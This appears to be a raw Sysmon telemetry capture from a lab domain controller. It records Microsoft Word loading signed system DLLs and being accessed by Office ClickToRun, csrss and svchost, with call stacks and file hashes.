10341000x800000000000000049204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+4177c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18b13|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18013|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+19af2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac 10341000x800000000000000049203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8f4a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+822c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-6E00-613B-E006-00000000F001}59925868C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+7ae3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000049200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\userenv.dll10.0.14393.4583 (rs1_release.210730-1850)UserenvMicrosoft® Windows® Operating SystemMicrosoft Corporationuserenv.dllMD5=E0F286AF345442E267C33880492CED31,SHA256=5C6D66F5A748551999BE1CDE33A3A1FC2E10D1297EF275D232A9FDCC95BEA84B,IMPHASH=C84FC60AE2A79A06E8C46A6929CDECB4trueMicrosoft WindowsValid 734700x800000000000000049199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000049198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000049197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.106{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000049195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000049194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000049193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000049192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000049189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\msvcp140.dll14.27.29114.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationmsvcp140.dllMD5=F60E0D8C88242FE8CA38A8562685F231,SHA256=254F5CDE2DEF2BF3941F746E4902A36F5169BF73AE9E258E49BC1FEF7B26EC99,IMPHASH=01C801A34C4715440EF1F25AD689B315trueMicrosoft CorporationValid 734700x800000000000000049186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\vcruntime140.dll14.27.29114.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140.dllMD5=766F0D18983E0810882FBA122AD1163E,SHA256=F10EF6DE6C651DB42DBD455A1C674047862CEBF6CCCE1F784CDB0571C9EA9757,IMPHASH=44C3854843F7A3FCCDF8DDBBEA66F302trueMicrosoft CorporationValid 734700x800000000000000049185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Microsoft Office\root\Office16\vcruntime140_1.dll14.27.29114.0 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio®Microsoft Corporationvcruntime140_1.dllMD5=74B5641A50C27B57ED0DA622E66A239E,SHA256=A571D26E536D4F7DA93ACC24EDB1D823140B660795576DC27F626F1889106D36,IMPHASH=AE0BDE6314FA2027B54CE04898F6AB69trueMicrosoft CorporationValid 734700x800000000000000049182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Common Files\microsoft shared\ClickToRun\C2R64.dll16.0.13801.20634Microsoft Office componentMicrosoft OfficeMicrosoft Corporationc2r64.dllMD5=89F83DB0358154696068C1A1A2C48B76,SHA256=97A0AC1E7CF73E000BC13BF560BA088C79797604E5E64F21B6DB843CD16742FF,IMPHASH=B2368D24E48EF04ECC09D327F32E1358trueMicrosoft CorporationValid 734700x800000000000000049178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Program Files\Common Files\microsoft shared\ClickToRun\AppvIsvSubsystems64.dll10.0.19041.1074 (WinBuild.160101.0800)Client Virtualization SubsystemsMicrosoft® Windows® Operating SystemMicrosoft CorporationAppVISVSubsystems64.dllMD5=90B77DF9501D41C1FC3B9B08BF739CBD,SHA256=B767361DEEBE62459AD8D6124C9E94B0A20F09EA1C53F6111B7B71252B703A04,IMPHASH=C574FE637C53537E7BD13F10085F77BDtrueMicrosoft CorporationValid 734700x800000000000000049173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000049172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 734700x800000000000000049171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.092{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 10341000x800000000000000049168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.075{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.075{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:19.075{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 